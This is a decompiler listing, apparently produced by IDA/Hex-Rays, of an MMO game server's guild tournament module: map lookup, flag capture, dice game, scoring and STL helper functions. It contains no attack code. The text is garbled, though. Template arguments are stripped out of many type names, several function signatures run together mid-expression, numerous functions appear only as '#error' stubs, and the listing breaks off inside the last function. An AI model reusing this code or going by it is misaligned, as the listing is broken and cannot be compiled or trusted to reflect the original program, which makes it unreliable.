(00456E40) -------------------------------------------------------- MapInfo *__thiscall GuildTouramentLoginDataInfo::GetMapInfo(GuildTouramentLoginDataInfo *this, #434 *pPlayer) { int v2; // eax@1 const char *v3; // esi@2 unsigned int v5; // eax@6 MapInfo *v6; // esi@9 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 < dword_C3BCEEC ) { v3 = *(const char **)(dword_C3BCEE8 + 4 * v2); if ( v3 ) goto LABEL_6; } else { v3 = 0; } _ErrorSendPlayer( (#325 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); if ( !v3 ) return 0; LABEL_6: v5 = BTree::operator__(&mapdatabox.mdb_btree, v3); if ( v5 == -1 ) LOWORD(v5) = -1; v5 = (unsigned __int16)v5; if ( (unsigned __int16)v5 >= mapdatabox.mdb_maxmapid ) { v6 = 0; LABEL_11: _ErrorSendPlayer( (#325 *)pPlayer, 5187, "GuildTouramentLoginDataInfo::GetMapInfo"); return v6; } v6 = mapdatabox.mdb_index[v5]; if ( !v6 ) goto LABEL_11; return v6; } // C3BCEE8: using guessed type int dword_C3BCEE8; // C3BCEEC: using guessed type int dword_C3BCEEC; // C8F1EF8: using guessed type struct __unnamed *GTMap; //----- (00456EE0) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall GuildTouramentLoginDataInfo::GetFieldAttr(GuildTouramentLoginDataInfo *this, #434 *pPlayer) { int v2; // eax@1 char *v3; // esi@2 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 < dword_C3BCEEC ) { v3 = *(char **)(dword_C3BCEE8 + 4 * v2); if ( v3 ) return FieldOption::fo_GetFieldAttr(&::this, v3); } else { v3 = 0; } _ErrorSendPlayer( (#325 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); if ( !v3 ) return 0; return FieldOption::fo_GetFieldAttr(&::this, v3); } // C3BCEE8: using guessed type int dword_C3BCEE8; // C3BCEEC: using guessed type int dword_C3BCEEC; // C8F1EF8: using guessed type struct __unnamed *GTMap; //----- (00456F40) -------------------------------------------------------- #error "456F40: undefined or illegal type '#434' (funcsize=178)" //----- (004571C0) -------------------------------------------------------- #error "4571C0: undefined or illegal type '#434' (funcsize=81)" //----- (004572C0) -------------------------------------------------------- #error "4572C0: undefined or illegal type '#434' (funcsize=103)" //----- (00457440) -------------------------------------------------------- #error "457440: undefined or illegal type '#325' (funcsize=220)" //----- (00457730) -------------------------------------------------------- #error "457730: undefined or illegal type '#325' (funcsize=75)" //----- (00457850) -------------------------------------------------------- void __thiscall RoutionInterface::_RoutionInterface(RoutionInterface *this) { this->vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; } // 5B20A8: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00457860) -------------------------------------------------------- void *__thiscall RoutionInterface::_vector_deleting_destructor_(RoutionInterface *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (RoutionInterfaceVtbl *)&RoutionInterface::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5B20A8: using guessed type int (__thiscall *RoutionInterface___vftable_)(void *p, char); //----- (00457880) -------------------------------------------------------- void *__thiscall ScriptInterrupt::InterruptEventArgument::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventArgument *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (ScriptInterrupt::InterruptEventArgumentVtbl *)&ScriptInterrupt::InterruptEventArgument::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5B20B0: using guessed type int (__thiscall *ScriptInterrupt__InterruptEventArgument___vftable_)(void *p, char); //----- (004578A0) -------------------------------------------------------- bool __cdecl GuildTournamentSystem::GuildMemberInfo::GradeSort(GuildTournamentSystem::GuildMemberInfo *lhw, GuildTournamentSystem::GuildMemberInfo *rhw) { return lhw->m_nGuildMemberGrade < rhw->m_nGuildMemberGrade; } //----- (004578C0) -------------------------------------------------------- void __thiscall AxialListFlagCaptureCancel::_AxialListFlagCaptureCancel(AxialListFlagCaptureCancel *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListFlagCaptureCancel::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B20B8: using guessed type int (__stdcall *AxialListFlagCaptureCancel___vftable_)(int, int, int distancesquar); //----- (004578D0) -------------------------------------------------------- GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetEnemyGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber) { GuildTournamentSystem::GuildGroup *result; // eax@1 result = &this->m_GroupA; if ( this->m_GroupA.m_GuildNumber == GuildNumber ) result = &this->m_GroupB; return result; } //----- (004578F0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::IsBattleGuild(GuildTournamentSystem *this, unsigned int a, unsigned int b) { unsigned int v3; // eax@1 v3 = this->m_GroupA.m_GuildNumber; return v3 == a && this->m_GroupB.m_GuildNumber == b || v3 == b && this->m_GroupB.m_GuildNumber == a; } //----- (00457920) -------------------------------------------------------- #error "457920: undefined or illegal type '#325' (funcsize=24)" //----- (00457960) -------------------------------------------------------- #error "457960: undefined or illegal type '#325' (funcsize=39)" //----- (004579F0) -------------------------------------------------------- void __thiscall ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(ScriptInterrupt::InterruptEventWinGuild *this) { this->baseclass_0.vfptr = (ScriptInterrupt::InterruptEventArgumentVtbl *)&ScriptInterrupt::InterruptEventArgument::_vftable_; } // 5B20B0: using guessed type int (__thiscall *ScriptInterrupt__InterruptEventArgument___vftable_)(void *p, char); //----- (00457A00) -------------------------------------------------------- void __thiscall GuildTournamentSystem::FlagInfo::FlagCapture(GuildTournamentSystem::FlagInfo *this, unsigned int GuildNumber) { this->m_GuildNumber = GuildNumber; TickTimer::Enable(&this->m_FlagScoreTimer, 1); } //----- (00457A20) -------------------------------------------------------- bool __thiscall DiceGame::Start(DiceGame *this, int nTick, unsigned int RedPlayerNumber, unsigned int BluePlayerNumber) { DiceGame *v4; // esi@1 int v5; // edi@1 ORField *v6; // esi@1 v4 = this; v5 = nTick; this->m_RedPlayerNumber = RedPlayerNumber; this->m_BluePlayerNumber = BluePlayerNumber; this->m_RedDiceResult = 0; this->m_BlueDiceResult = 0; PacketContainer::pcb_SetSocketSession((ORField *)&this->m_nDelayTic, (ORColumnHeader *)nTick); TickTimer::Enable(&v4->m_nDelayTic, 1); v6 = (ORField *)&v4->m_NotifyOfEndTimer; if ( nTick > 50 ) v5 = nTick - 50; PacketContainer::pcb_SetSocketSession(v6, (ORColumnHeader *)v5); TickTimer::Enable((TickTimer *)v6, 1); return 1; } //----- (00457A80) -------------------------------------------------------- #error "457A80: undefined or illegal type '#325' (funcsize=42)" //----- (00457B20) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 28; return result; } //----- (00457B50) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 12; return result; } //----- (00457B70) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 44; return result; } //----- (00457B90) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 40; return result; } //----- (00457BB0) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 192; return result; } //----- (00457BD0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Rrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator >,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00457C30) -------------------------------------------------------- std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Max(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator >,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00457C50) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Max(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (00457C70) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Min(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left; if ( !_Pnode->_Left->_Isnil ) { do { result = v2; v2 = v2->_Left; } while ( !v2->_Isnil ); } return result; } //----- (00457C90) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 21) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 21) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 21) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 21) ); if ( !*(_BYTE *)(v4 + 21) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 21); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00457CF0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Val) { GuildTournamentSystem::GuildMemberInfo *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x1Cu); } } //----- (00457DE0) -------------------------------------------------------- void __cdecl std::fill(unsigned __int16 *_First, unsigned __int16 *_Last, const unsigned __int16 *_Val) { unsigned __int16 *i; // eax@1 for ( i = _First; i != _Last; ++i ) *i = *_Val; } //----- (00457E00) -------------------------------------------------------- void __cdecl std::fill(TickTimer *_First, TickTimer *_Last, TickTimer *_Val) { TickTimer *i; // eax@1 TickTimer *v4; // edi@2 for ( i = _First; i != _Last; *(_DWORD *)&v4->m_bEnable = *(_DWORD *)&_Val->m_bEnable ) { v4 = i; i->m_CurDelayTime = _Val->m_CurDelayTime; i->m_DelayTime = _Val->m_DelayTime; ++i; } } //----- (00457E40) -------------------------------------------------------- void __cdecl std::fill(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Val) { TOURNAMENT_PLAYER_SCORE *i; // eax@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->CharID.n4_name[0] = *(_QWORD *)&_Val->CharID.n4_name[0]; *(_QWORD *)&i->CharID.n4_name[8] = *(_QWORD *)&_Val->CharID.n4_name[8]; i->unIncreaseScore = _Val->unIncreaseScore; i->unDecreaseScore = _Val->unDecreaseScore; i->unDieCount = _Val->unDieCount; i->unKillCount = _Val->unKillCount; i->unGuildGreade = _Val->unGuildGreade; i->unCaptureFlag = _Val->unCaptureFlag; } } //----- (00457EA0) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__cdecl std::_Copy_backward_opt(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { TOURNAMENT_PLAYER_SCORE *v4; // ecx@1 TOURNAMENT_PLAYER_SCORE *result; // eax@1 int v6; // esi@2 v4 = _Last; for ( result = _Dest; v4 != _First; result->unCaptureFlag = v4->unCaptureFlag ) { v6 = *(_DWORD *)&v4[-1].CharID.n4_name[0]; --v4; --result; *(_DWORD *)&result->CharID.n4_name[0] = v6; *(_DWORD *)&result->CharID.n4_name[4] = *(_DWORD *)&v4->CharID.n4_name[4]; *(_DWORD *)&result->CharID.n4_name[8] = *(_DWORD *)&v4->CharID.n4_name[8]; *(_DWORD *)&result->CharID.n4_name[12] = *(_DWORD *)&v4->CharID.n4_name[12]; result->unIncreaseScore = v4->unIncreaseScore; result->unDecreaseScore = v4->unDecreaseScore; result->unDieCount = v4->unDieCount; result->unKillCount = v4->unKillCount; result->unGuildGreade = v4->unGuildGreade; } return result; } //----- (00457F00) -------------------------------------------------------- #error "457F00: undefined or illegal type '#325' (funcsize=31)" //----- (00457F70) -------------------------------------------------------- int __thiscall GuildTournamentSystem::GetVictoryGuild(GuildTournamentSystem *this) { unsigned int v1; // eax@1 unsigned int v2; // edx@1 int result; // eax@2 v1 = this->m_GroupB.m_unAllGuildScore; v2 = this->m_GroupA.m_unAllGuildScore; if ( v2 <= v1 ) { if ( v2 >= v1 ) result = 0; else result = this->m_GroupB.m_GuildNumber; } else { result = this->m_GroupA.m_GuildNumber; } return result; } //----- (00457F90) -------------------------------------------------------- int __thiscall GuildTournamentSystem::GetLoseGuild(GuildTournamentSystem *this) { unsigned int v1; // eax@1 unsigned int v2; // edx@1 int result; // eax@2 v1 = this->m_GroupB.m_unAllGuildScore; v2 = this->m_GroupA.m_unAllGuildScore; if ( v2 <= v1 ) { if ( v2 >= v1 ) result = 0; else result = this->m_GroupA.m_GuildNumber; } else { result = this->m_GroupB.m_GuildNumber; } return result; } //----- (00457FB0) -------------------------------------------------------- void *__thiscall ScriptInterrupt::InterruptEventWinGuild::_scalar_deleting_destructor_(ScriptInterrupt::InterruptEventWinGuild *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ScriptInterrupt::InterruptEventWinGuild::_InterruptEventWinGuild(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00457FD0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00458030) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Rrotate(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = *((_DWORD *)this + 1); if ( _Wherenode == *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (00458090) -------------------------------------------------------- std::vector >::iterator *__cdecl std::find_if>::iterator_GuildTournamentSystem::GuildMemberInfo::Find_if_handle>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, GuildTournamentSystem::GuildMemberInfo::Find_if_handle _Pred) { std::vector >::iterator i; // ecx@1 std::vector >::iterator *v5; // eax@4 for ( i = _First; i != _Last; *(_DWORD *)&i += 28 ) { if ( **(_WORD **)&i == _Pred.m_hHandle ) break; } v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = i; return v5; } //----- (004580C0) -------------------------------------------------------- #error "4580C0: undefined or illegal type '#325' (funcsize=29)" //----- (00458100) -------------------------------------------------------- int __cdecl ShineDynamicCast(int a1) { int result; // eax@2 int v2; // eax@3 if ( a1 ) { v2 = (**(int (__thiscall ***)(_DWORD))a1)(a1); if ( v2 ) { while ( (ShineRTTI *)v2 != &ShineObjectClass::ShineMob::m_RTTI ) { v2 = *(_DWORD *)(v2 + 4); if ( !v2 ) goto LABEL_6; } result = a1; } else { LABEL_6: result = 0; } } else { result = 0; } return result; } //----- (00458140) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__cdecl std::copy_backward(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest) { GuildTournamentSystem::GuildMemberInfo *v3; // edx@1 GuildTournamentSystem::GuildMemberInfo *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { --v3; --result; memcpy(result, v3, 0x1Cu); } return result; } //----- (00458170) -------------------------------------------------------- unsigned __int16 *__cdecl std::copy_backward(unsigned __int16 *_First, unsigned __int16 *_Last, unsigned __int16 *_Dest) { unsigned __int16 *result; // eax@1 memmove((char *)&_Dest[-(_Last - _First)], (char *)_First, 2 * (_Last - _First)); return result; } //----- (00458190) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::GuildMemberInfo *_First, GuildTournamentSystem::GuildMemberInfo *_Last, GuildTournamentSystem::GuildMemberInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::GuildMemberInfo *v5; // edx@1 GuildTournamentSystem::GuildMemberInfo *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x1Cu); ++v5; } return result; } //----- (004581C0) -------------------------------------------------------- #error "4581C0: undefined or illegal type '#325' (funcsize=32)" //----- (00458210) -------------------------------------------------------- GuildTournamentSystem::GuildGroup *__thiscall GuildTournamentSystem::GetCurGuildGroup(GuildTournamentSystem *this, unsigned int GuildNumber) { GuildTournamentSystem::GuildGroup *result; // eax@1 result = &this->m_GroupA; if ( this->m_GroupA.m_GuildNumber != GuildNumber ) { result = &this->m_GroupB; if ( this->m_GroupB.m_GuildNumber != GuildNumber ) { if ( this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, _DWORD))this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); result = 0; } } return result; } //----- (00458250) -------------------------------------------------------- void __thiscall DiceGame::End(DiceGame *this) { DiceGame *v1; // esi@1 TickTimer *v2; // edi@1 unsigned int v3; // eax@2 unsigned int v4; // ecx@2 v1 = this; v2 = &this->m_nDelayTic; if ( TickTimer::IsEnable(&this->m_nDelayTic) ) { TickTimer::Enable(v2, 0); v3 = v1->m_BlueDiceResult; v4 = v1->m_RedDiceResult; if ( v3 != v4 ) { if ( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis || v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction ) { if ( v3 >= v4 ) ((void (__thiscall *)(_DWORD, _DWORD))v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction)( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis, v1->m_BluePlayerNumber); else ((void (__thiscall *)(_DWORD, _DWORD))v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pFunction)( v1->m_DiceGameEnd.m_Closure.baseclass_0.m_pthis, v1->m_RedPlayerNumber); } } } } //----- (004582B0) -------------------------------------------------------- std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Left = 0; if ( result != (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Parent = 0; if ( result != (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (004582F0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00458330) -------------------------------------------------------- int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst) { int v3; // eax@1 memmove(dst, src, 2 * ((a2 - (signed int)src) >> 1)); return 2 * ((a2 - (signed int)src) >> 1) + v3; } //----- (00458360) -------------------------------------------------------- void __cdecl std::_Random_shuffle>::iterator_int>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal) { int v3; // ebx@1 unsigned int i; // edi@1 int v5; // esi@2 int j; // eax@2 int v7; // edx@5 int v8; // ecx@5 int v9; // eax@5 v3 = *(_DWORD *)&_First + 4; for ( i = 2; v3 != _Last; *(_DWORD *)v9 = v8 ) { v5 = 32767; for ( j = rand() & 0x7FFF; v5 < i; j = (j << 15) | 0x7FFF ) { if ( v5 == -1 ) break; v5 = (v5 << 15) | 0x7FFF; } v7 = j % i; v8 = *(_DWORD *)v3; v3 += 4; ++i; v9 = *(_DWORD *)&_First + 4 * v7; *(_DWORD *)(v3 - 4) = *(_DWORD *)v9; } } //----- (004583D0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::GuildMemberInfo *_First, unsigned int _Count, GuildTournamentSystem::GuildMemberInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x1Cu); v6 = (char *)v6 + 28; --v5; } while ( v5 ); } } //----- (00458400) -------------------------------------------------------- TOURNAMENT_PLAYER_SCORE *__cdecl std::_Uninit_copy>(TOURNAMENT_PLAYER_SCORE *_First, TOURNAMENT_PLAYER_SCORE *_Last, TOURNAMENT_PLAYER_SCORE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { TOURNAMENT_PLAYER_SCORE *v5; // edx@1 TOURNAMENT_PLAYER_SCORE *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) memcpy(result, v5, 0x28u); ++v5; } return result; } //----- (00458430) -------------------------------------------------------- #error "458430: undefined or illegal type '#325' (funcsize=52)" //----- (004584C0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SetErrorDelegate(GuildTournamentSystem *this, fastdelegate::FastDelegate1 delegate) { this->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_GroupA.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_GroupB.m_ErrorMessage.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pFunction = delegate.m_Closure.baseclass_0.m_pFunction; this->m_diceGame.m_ErrorDeleGate.m_Closure.baseclass_0.m_pthis = delegate.m_Closure.baseclass_0.m_pthis; } //----- (004584F0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::ClearErrorDelegate(GuildTournamentSystem *this) { this->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 